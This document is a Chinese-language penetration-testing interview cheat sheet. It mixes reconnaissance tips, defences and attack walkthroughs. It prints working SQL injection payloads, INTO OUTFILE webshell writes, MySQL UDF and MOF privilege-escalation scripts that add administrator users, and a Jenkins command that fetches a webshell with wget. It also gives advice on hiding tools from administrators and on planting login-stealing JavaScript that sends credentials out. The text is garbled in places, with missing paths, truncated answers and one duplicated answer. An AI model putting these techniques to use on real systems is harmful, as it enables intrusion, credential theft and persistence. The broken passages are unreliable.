基本渗透技巧

基本渗透技巧

2023年7月13日发(作者:)

基本渗透技巧⼀、思路流程1、信息收集a、服务器的相关信息(真实ip,系统类型,版本,开放端⼝,WAF等)b、⽹站指纹识别(包括,cms,cdn,证书等),dns记录c、whois信息,姓名,备案,邮箱,电话反查(邮箱丢社⼯库,社⼯准备等)e、⼦域名收集,旁站,C段等f、google hacking针对化搜索,pdf⽂件,中间件版本,弱⼝令扫描等g、扫描⽹站⽬录结构,爆后台,⽹站banner,测试⽂件,备份等敏感⽂件泄漏等h、传输协议,通⽤漏洞,exp,github源码等2、漏洞挖掘a、浏览⽹站,看看⽹站规模,功能,特点等b、端⼝,弱⼝令,⽬录等扫描,对响应的端⼝进⾏漏洞探测,⽐如 rsync,⼼脏出⾎,mysql,ftp,ssh弱⼝令等。c、XSS,SQL注⼊,上传,命令注⼊,CSRF,cookie安全检测,敏感信息,通信数据传输,暴⼒破解,任意⽂件上传,越权访问,未授权访问,⽬录遍历,⽂件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使⽤漏扫⼯具等3、漏洞利⽤&权限提升a、mysql提权,serv-u提权,oracle提权b、windows 溢出提权c、linux脏⽜,内核漏洞提权e4、清除测试数据&输出报告⽇志、测试数据的清理总结,输出渗透测试报告,附修复⽅案5、复测验证并发现是否有新漏洞,输出报告,归档

⼆、问题1、拿到⼀个待检测的站,你觉得应该先做什么?信息收集a、获取域名的whois信息,获取注册者邮箱姓名电话等,丢社⼯库⾥看看有没有泄露密码,然后尝试⽤泄露的密码进⾏登录后台。⽤邮箱做关键词进⾏丢进搜索引擎。利⽤搜索到的关联信息找出其他邮箱进⽽得到常⽤社交账号。社⼯找出社交账号,⾥⾯或许会找出管理员设置密码的习惯 。利⽤已有信息⽣成专⽤字典。b、查询服务器旁站以及⼦域名站点,因为主站⼀般⽐较难,所以先看看旁站有没有通⽤性的cms或者其他漏洞。c、查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,⽐如IIS,APACHE,NGINX的解析漏洞d、查看IP,进⾏IP地址端⼝扫描,对响应的端⼝进⾏漏洞探测,⽐如 rsync,⼼脏出⾎,mysql,ftp,ssh弱⼝令等。e、扫描⽹站⽬录结构,看看是否可以遍历⽬录,或者敏感⽂件泄漏,⽐如php探针f、google hack 进⼀步探测⽹站的信息,后台,敏感⽂件漏洞扫描开始检测漏洞,如XSS,XSRF,sql注⼊,代码执⾏,命令执⾏,越权访问,⽬录读取,任意⽂件读取,下载,⽂件包含,远程命令执⾏,弱⼝令,上传,编辑器漏洞,暴⼒破解等漏洞利⽤利⽤以上的⽅式拿到webshell,或者其他权限权限提升提权服务器,⽐如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤⾁,linux脏⽜漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权⽇志清理总结报告及修复⽅案2、判断出⽹站的CMS对渗透有什么意义?查找⽹上已曝光的程序漏洞。如果开源,还能下载相对应的源码进⾏代码审计。3.⼀个成熟并且相对安全的CMS,渗透时扫⽬录的意义?敏感⽂件、⼆级⽬录扫描站长的误操作⽐如:⽹站备份的压缩⽂件、说明.txt、⼆级⽬录可能存放着其他站点4.常见的⽹站服务器容器。IIS、Apache、nginx、Lighttpd、注⼊点,⽤⼯具对⽬标站直接写⼊⼀句话,需要哪些条件?root权限以及⽹站的绝对路径。6.⽬前已知哪些版本的容器有解析漏洞,具体举例。a、IIS 6.0// ""是⽂件夹名b、IIS 7.0/7.5默认Fast-CGI开启,直接在url中图⽚地址后⾯输⼊/,会把正常图⽚当成php解析c、Nginx版本⼩于等于0.8.37,利⽤⽅法和IIS 7.0/7.5⼀样,Fast-CGI关闭情况下也可利⽤。空字节代码 、Apache 上传的⽂件命名为:.x1.x2.x3,Apache是从右往左判断后缀e、lighttpd /,不全,请⼩伙伴们在评论处不吝补充,谢谢!7.如何⼿⼯快速判断⽬标站是windows还是linux服务器?linux⼤⼩写敏感,windows⼤⼩写不敏感。8.为何⼀个mysql数据库的站,只有⼀个80端⼝开放?更改了端⼝,没有扫描出来。站库分离。3306端⼝不对外开放9、3389⽆法连接的⼏种情况没开放3389 端⼝端⼝被修改防护拦截处于内⽹(需进⾏端⼝转发)10.如何突破注⼊时字符被转义?宽字符注⼊hex编码绕过11.在某后台新闻编辑界⾯看到编辑器,应该先做什么?查看编辑器的名称版本,然后搜索公开的漏洞。12.拿到⼀个webshell发现⽹站根⽬录下有.htaccess⽂件,我们能做什么?能做的事情很多,⽤隐藏⽹马来举例⼦:插⼊ SetHandler application/⽂件会被解析成.php⽂件。具体其他的事情,不好详说,建议⼤家⾃⼰去搜索语句来玩玩。13.注⼊漏洞只能查账号密码?只要权限⼴,拖库脱到⽼。14.安全狗会追踪变量,从⽽发现出是⼀句话⽊马吗?是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是⼀成不变的。** 扫出后缀为asp的数据库⽂件,访问乱码,**如何实现到本地利⽤?迅雷下载,直接改后缀为.mdb。16.提权时选择可读写⽬录,为何尽量不⽤带空格的⽬录?因为exp执⾏多半需要空格界定参数17.某服务器有站点A,B 为何在A的后台添加test⽤户,访问B的后台。发现也添加上了test⽤户?同数据库。18.注⼊时可以不使⽤and 或or 或xor,直接order by 开始注⼊吗?and/or/xor,前⾯的1=1、1=2步骤只是为了判断是否为注⼊点,如果已经确定是注⼊点那就可以省那步骤去。19:某个防注⼊系统,在注⼊时会提⽰:系统检测到你有⾮法注⼊的⾏为。已记录您的ip 时间:2016:01-23提交页⾯:?id=15提交内容:and 1=120、如何利⽤这个防注⼊系统拿shell?在URL⾥⾯直接提交⼀句话,这样⽹站就把你的⼀句话也记录进数据库⽂件了 这个时候可以尝试寻找⽹站的配置⽂件 直接上菜⼑链接。21.上传⼤马后访问乱码时,有哪些解决办法?浏览器中改编码。22.审查上传点的元素有什么意义?有些站点的上传⽂件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。23.⽬标站禁⽌注册⽤户,找回密码处随便输⼊⽤户名提⽰:“此⽤户不存在”,你觉得这⾥怎样利⽤?先爆破⽤户名,再利⽤被爆破出来的⽤户名爆破密码。其实有些站点,在登陆处也会这样提⽰所有和数据库有交互的地⽅都有可能有注⼊。这就是传说中的下载漏洞!在file=后⾯尝试输⼊下载他的⾸页⽂件,然后在⾸页⽂件⾥继续查找其他⽹站的配置⽂件,可以找出⽹站的数据库密码和数据库的地址。25.甲给你⼀个⽬标站,并且告诉你根⽬录下存在/abc/⽬录,并且此⽬录下存在编辑器和admin⽬录。请问你的想法是?直接在⽹站⼆级⽬录/abc/下扫描敏感⽂件及⽬录。26.在有shell的情况下,如何使⽤xss实现对⽬标站的长久控制?后台登录处加⼀段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到⼀个⽣僻的路径的⽂件中或者直接发到⾃⼰的⽹站⽂件中。(此⽅法适合有价值并且需要深⼊控制权限的⽹络)。在登录后才可以访问的⽂件中插⼊XSS脚本。27.后台修改管理员密码处,原密码显⽰为*。你觉得该怎样实现读出这个⽤户的密码?审查元素 把密码处的password属性改成text就明⽂显⽰了28.⽬标站⽆防护,上传图⽚可以正常访问,上传脚本格式访问则403.什么原因?原因很多,有可能web服务器配置把上传⽬录写死了不执⾏相应脚本,尝试改后缀名绕过29.审查元素得知⽹站所使⽤的防护软件,你觉得怎样做到的?在敏感操作被拦截,通过界⾯信息⽆法具体判断是什么防护的时候,F12看HTML体部 ⽐如护卫神就可以在名称那看到内容。30.在win2003服务器中建⽴⼀个 .zhongzi⽂件夹⽤意何为?隐藏⽂件夹,为了不让管理员发现你传上去的⼯具。31、sql注⼊有以下两个测试选项,选⼀个并且阐述不选另⼀个的理由:A. ?id=2+1B. ?id=2-1选B,在 URL 编码中 + 代表空格,可能会造成混淆32、以下链接存在 sql 注⼊漏洞,对于这个变形注⼊,你有什么思路??DATA=AjAxNg==DATA有可能经过了 base64 编码再传⼊服务器,所以我们也要对参数进⾏ base64 编码才能正确完成测试33、发现 ?uid=110 注⼊点,你有哪⼏种思路获取 webshell,哪种是优选?有写⼊权限的,构造联合查询语句使⽤using INTO OUTFILE,可以将查询的输出重定向到系统的⽂件中,这样去写⼊ WebShell 使⽤ sqlmap –os-shell 原理和上⾯⼀种相同,来直接获得⼀个 Shell,这样效率更⾼ 通过构造联合查询语句得到⽹站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等⽅法上传 Shell34、CSRF 和 XSS 和 XXE 有什么区别,以及修复⽅式?XSS是跨站脚本攻击,⽤户提交的数据中可以构造代码来执⾏,从⽽实现窃取⽤户信息等攻击。修复⽅式:对字符实体进⾏转义、使⽤HTTP Only来禁⽌JavaScript读取Cookie值、输⼊时校验、浏览器与Web应⽤端采⽤相同的字符编码。CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多⼿段中的⼀种,是由于没有在关键操作执⾏时进⾏是否由⽤户⾃愿发起的确认。修复⽅式:筛选出需要防范CSRF的页⾯然后嵌⼊Token、再次输⼊密码、检验Referer XXE是XML外部实体注⼊攻击,XML中可以通过调⽤实体来请求本地或者远程内容,和远程⽂件保护类似,会引发相关安全问题,例如敏感⽂件读取。修复⽅式:XML解析库在调⽤时严格禁⽌对外部实体的解析。35、CSRF、SSRF和重放攻击有什么区别?CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进⾏重放,达到⾝份认证等⽬的36、说出⾄少三种业务逻辑漏洞,以及修复⽅式?密码找回漏洞中存在1)密码允许暴⼒破解、2)存在通⽤型找回凭证、3)可以跳过验证步骤、4)找回凭证可以拦包获取等⽅式来通过⼚商提供的密码找回功能来得到密码。⾝份认证漏洞中最常见的是1)会话固定攻击2) Cookie 仿冒只要得到 Session 或 Cookie 即可伪造⽤户⾝份。验证码漏洞中存在1)验证码允许暴⼒破解2)验证码可以通过 Javascript 或者改包的⽅法来进⾏绕过37、圈出下⾯会话中可能存在问题的项,并标注可能会存在的问题?get /ecskins/?uid=2016031900&keyword=”hello world”HTTP/1.1Host:***.com:82User-Agent:Mozilla/5.0 Firefox/40Accept:text/css,/;q=0.1Accept-Language:zh-CN;zh;q=0.8;en-US;q=0.5,en;q=0.3Referer:*******.com/eciop/orderForCC有写⼊权限的,构造联合查询语句使⽤using INTO OUTFILE,可以将查询的输出重定向到系统的⽂件中,这样去写⼊ WebShell 使⽤ sqlmap –os-shell 原理和上⾯⼀种相同,来直接获得⼀个 Shell,这样效率更⾼ 通过构造联合查询语句得到⽹站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等⽅法上传 Shell38、给你⼀个⽹站你是如何来渗透测试的?在获取书⾯授权的前提下。39、sqlmap,怎么对⼀个注⼊点注⼊?1)如果是get型号,直接,sqlmap -u "诸如点⽹址".2) 如果是post型诸如点,可以sqlmap -u "注⼊点⽹址” --data="post的参数"3)如果是cookie,X-Forwarded-For等,可以访问的时候,⽤burpsuite抓包,注⼊处⽤号替换,放到⽂件⾥,然后sqlmap -r "⽂件地址"40、nmap,扫描的⼏种⽅式41、sql注⼊的⼏种类型?1)报错注⼊2)bool型注⼊3)延时注⼊4)宽字节注⼊42、报错注⼊的函数有哪些?10个1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】2)通过floor报错 向下取整3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)4).geometrycollection()select from test where id=1 and geometrycollection((select43、延时注⼊如何来判断?if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)44、盲注和延时注⼊的共同点?都是⼀个字符⼀个字符的判断45、如何拿⼀个⽹站的webshell?上传,后台编辑模板,sql注⼊写⽂件,命令执⾏,代码执⾏, ⼀些已经爆出的cms漏洞,⽐如dedecms后台可以直接建⽴脚本⽂件,wordpress上传插件包含脚本⽂件zip压缩包等46、sql注⼊写⽂件都有哪些函数?select '⼀句话' into outfile '路径'select '⼀句话' into dumpfile '路径'select '' into dumpfile 'd:';48、owasp 漏洞都有哪些?1)SQL注⼊防护⽅法:2)失效的⾝份认证和会话管理3)跨站脚本攻击XSS4)直接引⽤不安全的对象5)安全配置错误6)敏感信息泄露7)缺少功能级的访问控制8)跨站请求伪造CSRF9)使⽤含有已知漏洞的组件10)未验证的重定向和转发49、SQL注⼊防护⽅法?1)使⽤安全的API2)对输⼊的特殊字符进⾏Escape转义处理3)使⽤⽩名单来规范化输⼊验证⽅法4)对客户端输⼊进⾏控制,不允许输⼊SQL注⼊相关的特殊字符5)服务器端在提交数据库进⾏SQL查询之前,对特殊字符进⾏过滤、转义、替换、删除。50、代码执⾏,⽂件读取,命令执⾏的函数都有哪些?1)代码执⾏:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function2)⽂件读取:file_get_contents(),highlight_file(),fopen(),read

file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等3)命令执⾏:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()51、img标签除了onerror属性外,还有其他获取管理员路径的办法吗?src指定⼀个远程的脚本⽂件,获取referer52、img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。53、为什么aspx⽊马权限⽐asp⼤?aspx使⽤的是.net技术。IIS 中默认不⽀持,ASP只是脚本语⾔⽽已。⼊侵的时候asp的⽊马⼀般是guest权限…APSX的⽊马⼀般是users权限。54、如何绕过waf?⼤⼩写转换法 ⼲扰字符 /*!*/ 编码 base64 unicode hex url ascll 复参数55、如何向服务器写⼊webshell?各种上传漏洞mysql具有写⼊权限,⽤sql语句写⼊shellhttp put⽅法56、渗透测试中常见的端⼝a、web类(web漏洞/敏感⽬录) 第三⽅通⽤组件漏洞struts thinkphp jboss ganglia zabbix80 web 80-89 web 8000-9090 webb、数据库类(扫描弱⼝令)1433 MSSQL 1521 Oracle 3306 MySQL 5432 PostgreSQLc、特殊服务类(未授权/命令执⾏类/漏洞)443 SSL⼼脏滴⾎ 873 Rsync未授权 5984 CouchDB xxx:5984/_utils/ 6379 redis未授权 7001,7002 WebLogic默认弱⼝令,反序列 9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执⾏漏洞 11211 memcache未授权访问d、常⽤端⼝类(扫描弱⼝令/端⼝爆破)21 ftp 22 SSH 23 Telnet 2601,2604 zebra路由,默认密码zebra3389 远程桌⾯ALL、端⼝合计详情21 ftp 22 SSH 23 Telnet 80 web 80-89 web 161 SNMP 389 LDAP 443 SSL⼼脏滴⾎以及⼀些web漏洞测试 445 SMB 512,513,514 Rexec 873 Rsync未授权 1025,111 NFS 1433 MSSQL 1521 Oracle:(iSqlPlus Port:5560,7778) 2082/2083 cpanel主机

三、

四、SQL注⼊防护1、使⽤安全的API2、对输⼊的特殊字符进⾏Escape转义处理3、使⽤⽩名单来规范化输⼊验证⽅法4、对客户端输⼊进⾏控制,不允许输⼊SQL注⼊相关的特殊字符5、服务器端在提交数据库进⾏SQL查询之前,对特殊字符进⾏过滤、转义、替换、删除。6、规范编码,字符集

五、为什么参数化查询可以防⽌SQL注⼊原理:使⽤参数化查询数据库服务器不会把参数的内容当作sql指令的⼀部分来执⾏,是在数据库完成sql指令的编译后才套⽤参数运⾏简单的说: 参数化能防注⼊的原因在于,语句是语句,参数是参数,参数的值并不是语句的⼀部分,数据库只按语句的语义跑

六、SQL头注⼊点UAREFERERCOOKIEIP

七、盲注是什么?怎么盲注?盲注是在SQL注⼊攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注⼊和利⽤的⽅式。盲注的⼿段有两种,⼀个是通过页⾯的返回内容是否正确(boolean-based),来验证是否存在注⼊。⼀个是通过sql语句处理时间的不同来判断是否存在注⼊(time-based),在这⾥,可以⽤benchmark,sleep等造成延时效果的函数,也可以通过构造⼤笛卡⼉积的联合查询表来达到延时的⽬的。

⼋、宽字节注⼊产⽣原理以及根本原因1、产⽣原理在数据库使⽤了宽字符集⽽WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中⽐如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进⾏转义,因此0xbf27会变成0xbf5c27,⽽数据进⼊数据库中时,由于0XBF5C是⼀个另外的字符,因此转义符号会被前⾯的bf带着"吃掉",单引号由此逃逸出来可以⽤来闭合语句。2、在哪⾥编码3、根本原因character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使⽤不当。4、解决办法统⼀数据库、Web应⽤、操作系统所使⽤的字符集,避免解析产⽣差异,最好都设置为UTF-8。或对数据进⾏正确的转义,如mysql_real_escape_string+mysql_set_charset的使⽤。5、SQL⾥⾯只有update怎么利⽤先理解这句 SQLUPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'如果此 SQL 被修改成以下形式,就实现了注⼊之后 SQL 语句变为UPDATE user SET password='mypass', homepage='', userlevel='3' WHERE id='$id'userlevel 为⽤户级别b、修改 password 值为mypass)' WHERE username='admin'#之后 SQL 语句变为UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'c、修改 id 值为' OR username='admin'之后 SQL 语句变为UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

九、SQL如何写shell/单引被过滤怎么办写shell: root权限,GPC关闭,知道⽂件路径 outfile函数`127.0.0.1:81/?id=1 into outfile 'C:' FIELDS TERMINATED BY ''``127.0.0.1:81/?id=-1 union select 1,0x3c3f70696e666f28293b203f3e,3,4 into outfile 'C:'`宽字节注⼊1、代替空格的⽅法%0a、%0b、%a0 等/**/ 等注释符<>2、mysql的⽹站注⼊,5.0以上和5.0以下有什么区别5.0以下没有information_schema这个系统表,⽆法列表名等,只能暴⼒跑表名。5.0以下是多⽤户单操作,5.0以上是多⽤户多操做。

⼗、XSS1、XSS原理反射型⽤户提交的数据中可以构造代码来执⾏,从⽽实现窃取⽤户信息等攻击。需要诱使⽤户“点击”⼀个恶意链接,才能攻击成功存储型存储型XSS会把⽤户输⼊的数据“存储”在服务器端。这种XSS具有很强的稳定性。DOM型通过修改页⾯的DOM节点形成的XSS,称之为DOM Based XSS。2、DOM型和反射型的区别反射型XSS:通过诱导⽤户点击,我们构造好的恶意payload才会触发的XSS。反射型XSS的检测我们在每次请求带payload的链接时页⾯应该是会带有特定的畸形数据的。DOM型:通过修改页⾯的DOM节点形成的XSS。DOM-based XSS由于是通过js代码进⾏dom操作产⽣的XSS,所以在请求的响应中我们甚⾄不⼀定会得到相应的畸形数据。根本区别在我看来是输出点的不同。3、DOM型和XSS⾃动化测试或⼈⼯测试⼈⼯测试思路:找到类似、innerHTML赋值、outterHTML赋值、on操作、写javascript:后内容、eval、setTimeout 、setInterval 等直接执⾏之类的函数点。找到其变量,回溯变量来源观察是否可控,是否经过安全函数。⾃动化测试参看道哥的博客,思路是从输⼊⼊⼿,观察变量传递的过程,最终检查是否有在危险函数输出,中途是否有经过安全函数。但是这样就需要有⼀个javascript解析器,否则会漏掉⼀些通过js执⾏带⼊的部分内容。在回答这段问题的时候,由于平时对客户的检测中,基本是凭借不同功能点的功能加上经验和直觉来进⾏检测,对不同类型的XSS检测⽅式实际上并没有太过细分的标准化检测⽅式,所以回答的很烂。。。4、如何快速发现XSS位置5、对于XSS怎么修补建议输⼊点检查:对⽤户输⼊的数据进⾏合法性检查,使⽤filter过滤敏感字符或对进⾏编码转义,针对特定类型数据进⾏格式检查。针对输⼊点的检查最好放在服务器端实现。输出点检查:对变量输出到HTML页⾯中时,对输出内容进⾏编码转义,输出在HTML中时,对其进⾏HTMLEncode,如果输出在Javascript脚本中时,对其进⾏JavascriptEncode。对使⽤JavascriptEncode的变量都放在引号中并转义危险字符,data部分就⽆法逃逸出引号外成为code的⼀部分。还可以使⽤更加严格的⽅法,对所有数字字母之外的字符都使⽤⼗六进制编码。此外,要注意在浏览器中,HTML的解析会优先于Javascript的解析,编码的⽅式也需要考虑清楚,针对不同的输出点,我们防御XSS的⽅法可能会不同,这点可能在之后的⽂章会做下总结。除此之外,还有做HTTPOnly对Cookie劫持做限制。6、XSS蠕⾍的⽣产条件正常情况下,⼀个是产⽣XSS点的页⾯不属于self页⾯,⽤户之间产⽣交互⾏为的页⾯,都可能造成XSS Worm的产⽣。不⼀定需要存储型XSS

⼗⼀、CSRF1、CSRF原理CSRF是跨站请求伪造攻击,由客户端发起,是由于没有在关键操作执⾏时进⾏是否由⽤户⾃愿发起的确认2、防御验证Referer添加token3、token和referer做横向对⽐,谁安全等级⾼?token安全等级更⾼,因为并不是任何服务器都可以取得referer,如果从HTTPS跳到HTTP,也不会发送referer。并且FLASH⼀些版本中可以⾃定义referer。但是token的话,要保证其⾜够随机且不可泄露。(不可预测性原则)4、对referer的验证,从什么⾓度去做?如果做,怎么杜绝问题对header中的referer的验证,⼀个是空referer,⼀个是referer过滤或者检测不完善。为了杜绝这种问题,在验证的⽩名单中,正则规则应当写完善。5、针对token,对token测试会注意哪⽅⾯被⼈,会对token的哪⽅⾯进⾏测试?引⽤⼀段请教前辈的回答:针对token的攻击,⼀是对它本⾝的攻击,重放测试⼀次性、分析加密规则、校验⽅式是否正确等,⼆是结合信息泄露漏洞对它的获取,结合着发起组合攻击信息泄露有可能是缓存、⽇志、get,也有可能是利⽤跨站很多跳转登录的都依赖token,有⼀⼗⼀、SSRFSSRF(Server-Side Request Forgery:服务器端请求伪造) 是⼀种由攻击者构造形成由服务端发起请求的⼀个安全漏洞。⼀般情况下,SSRF攻击的⽬标是从外⽹⽆法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连⽽与外⽹隔离的内部系统)SSRF 形成的原因⼤都是由于服务端提供了从其他服务器应⽤获取数据的功能且没有对⽬标地址做过滤与限制。⽐如从指定URL地址获取⽹页⽂本内容,加载指定地址的图⽚,下载等等。1、监测SSRF漏洞的验证⽅法:1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从⽽来判断是否存在SSRF漏洞2)在页⾯源码中查找访问的资源地址 ,如果该资源地址类型为 /?image=(地址)的就可能存在SSRF漏洞 4[1]2、SSRF漏洞的成因 防御 绕过成因:模拟服务器对其他服务器资源进⾏请求,没有做合法性验证。利⽤:构造恶意内⽹IP做探测,或者使⽤其余所⽀持的协议对其余服务进⾏攻击。防御:禁⽌跳转,限制协议,内外⽹限制,URL限制。绕过:使⽤不同协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的。301跳转+dns rebindding。

⼗⼆、上传1、⽂件上传漏洞原理由于程序员在对⽤户⽂件上传部分的控制不⾜或者处理缺陷,⽽导致⽤户可以越过其本⾝权限向服务器上传可执⾏的动态脚本⽂件2、常见的上传绕过⽅式前端js验证:禁⽤js/burp改包⼤⼩写双重后缀名过滤绕过 pphphp->php3、防护⽂件上传⽬录设置为不可执⾏使⽤⽩名单判断⽂件上传类型⽤随机数改写⽂件名和路径4、审查上传点的元素有什么意义?有些站点的上传⽂件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

⼗三、⽂件包含1、原理引⼊⼀段⽤户能控制的脚本或代码,并让服务器端执⾏ include()等函数通过动态变量的⽅式引⼊需要包含的⽂件;⽤户能够控制该动态变量。2、导致⽂件包含的函数PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:(), -eReader(), … ASP:include file, include virtual,3、本地⽂件包含能够打开并包含本地⽂件的漏洞,被称为本地⽂件包含漏洞

⼗四、逻辑漏扫1、⾦融⾏业常见逻辑漏洞单针对⾦融业务的 主要是数据的篡改(涉及⾦融数据,或部分业务的判断数据),由竞争条件或者设计不当引起的薅⽺⽑,交易/订单信息泄露,⽔平越权对别⼈的账户查看或恶意操作,交易或业务步骤绕过。

⼗五、中间⼈攻击中间⼈攻击是⼀个(缺乏)相互认证的攻击;由于客户端与服务器之间在SSL握⼿的过程中缺乏相互认证⽽造成的漏洞防御中间⼈攻击的⽅案通常基于⼀下⼏种技术1.公钥基础建设PKI 使⽤PKI相互认证机制,客户端验证服务器,服务器验证客户端;上述两个例⼦中都是只验证服务器,这样就造成了SSL握⼿环节的漏洞,⽽如果使⽤相互认证的的话,基本可以更强⼒的相互认证2.延迟测试使⽤复杂加密哈希函数进⾏计算以造成数⼗秒的延迟;如果双⽅通常情况下都要花费20秒来计算,并且整个通讯花费了60秒计算才到达对⽅,这就能表明存在第三⽅中间⼈。3.使⽤其他形式的密钥交换形式ARP欺骗原理每台主机都有⼀个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,⽽局域⽹数据传输依靠的是MAC地址。在ARP缓存表机制存在⼀个缺陷,就是当请求主机收到ARP应答包后,不会去验证⾃⼰是否向对⽅主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能防护1.在主机绑定⽹关MAC与IP地址为静态(默认为动态),命令:arp -s ⽹关IP ⽹关MAC2.在⽹关绑定主机MAC与IP地址3.使⽤ARP防⽕墙

⼗六、DDOS1、DDOS原理利⽤合理的请求造成资源过载,导致服务不可⽤syn洪流的原理伪造⼤量的源IP地址,分别向服务器端发送⼤量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待⼀个SYNTime(⼀般为30秒⾄2分钟),如果超时则丢弃这个连接。攻击者⼤量发送这种伪造源地址的SYN请求,服务器端将会消耗⾮常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进⾏SYN+ACK重试。最后的结果是服务器⽆暇理睬正常的连接请求,导致拒绝服务。CC攻击原理对⼀些消耗资源较⼤的应⽤页⾯不断发起正常的请求,以达到消耗服务端资源的⽬的。2、DOSS防护SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每⼀个IP地址分配⼀个“Cookie”,并统计每个IP地址的访问频率。如果在短时间内收到⼤量的来⾃同⼀个IP地址的数据包,则认为受到攻击,之后来⾃这个IP地址的包将被丢弃。

⼗七、提权MySQL两种提权⽅式udf提权,mof提权MySQL_UDF提取要求: 1.⽬标系统是Windows(Win2000,XP,Win2003);2.拥有MYSQL的某个⽤户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数 3.有root账号密码 导出udf:MYSQL 5.1以上版本,必须要把⽂件放到MYSQL安装⽬录下的libplugin⽂件夹下才能创建⾃定义函数 可以再mysql⾥输⼊select @@basedirshow variables like ‘%plugins%’ 寻找mysql安装路径 提权:使⽤SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下⾯列表中的其中之⼀)returns string soname ‘导出的DLL路径’;create function cmdshell returns string soname ‘’select cmdshell(‘net user arsch arsch /add’);select cmdshell(‘net localgroup administrators arsch /add’);drop function cmdshell;该⽬录默认是不存在的,这就需要我们使⽤webshell找到MYSQL的安装⽬录,并在安装⽬录下创建libplugin⽂件夹,然后将⽂件导出到该⽬录即可。MySQL mof提权#pragma namespace(".rootsubscription")instance of __EventFilter as $EventFilter{EventNamespace = "RootCimv2";Name = "filtP2";Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa "Win32_LocalTime" ""And = 5";instance of ActiveScriptEventConsumer as $Consumer{Name = "consPCSV2";ScriptingEngine = "JScript";ScriptText ="var WSH = new ActiveXObject("")(" user waitalone /add")";};instance of __FilterToConsumerBinding{Consumer = $Consumer;Filter = $EventFilter;};其中的第18⾏的命令,上传前请⾃⼰更改。2、执⾏load_file及into dumpfile把⽂件导出到正确的位置即可。select load file('c:/wmpub/') into dumpfile 'c:/windows/system32/wbem/mof/'执⾏成功后,即可添加⼀个普通⽤户,然后你可以更改命令,再上传导出执⾏把⽤户提升到管理员权限,然后3389连接之就ok了。

⼗⼋、特殊漏洞1、Struts2-0452、Redis未授权产⽣原因Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公⽹上,如果在没有开启认证的情况下,可以导致任意⽤户在可以访问⽬标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利⽤ Redis 的相关⽅法,可以成功在 Redis 服务器上写⼊公钥,进⽽可以使⽤对应私钥直接登录⽬标服务器利⽤条件和⽅法条件:a、redis服务以root账户运⾏b、redis⽆密码或弱密码进⾏认证c、redis监听在0.0.0.0公⽹上⽅法:a、通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫b、上传SSH公钥获得SSH登录权限c、通过crontab反弹shelld、slave主从模式利⽤修复密码验证降权运⾏限制ip/修改端⼝3、Jenkins未授权访问4、MongoDB未授权访问攻击者通过未授权访问进⼊脚本命令执⾏界⾯执⾏攻击指令println "ifconfig -a".execute().text 执⾏⼀些系统命令,利⽤wget下载webshell开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,⽽且可以远程访问数据库,登录的⽤户可以通过默认端⼝⽆需密码对数据库进⾏增、删、改、查等任意⾼危操作。防护为MongoDB添加认证:1)MongoDB启动时添加–auth参数 2)给MongoDB添加⽤户:use admin #使⽤admin库 r(“root”, “123456”) #添加⽤户名root密码123456的⽤户(“root”,“123456”) #验证下是否添加成功,返回1说明成功 2、禁⽤HTTP和REST端⼝ MongoDB⾃⾝带有⼀个HTTP服务和并⽀持REST接⼝。在2.6以后这些接⼝默认是关闭的。mongoDB默认会使⽤默认端⼝监听web服务,⼀般不需要通过web⽅式进⾏远程管理,建议禁⽤。修改配置⽂件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false 3、限制绑定IP 启动时加⼊参数 –bind_ip 127.0.0.1 或在/etc/⽂件中添加以下内容:bind_ip = 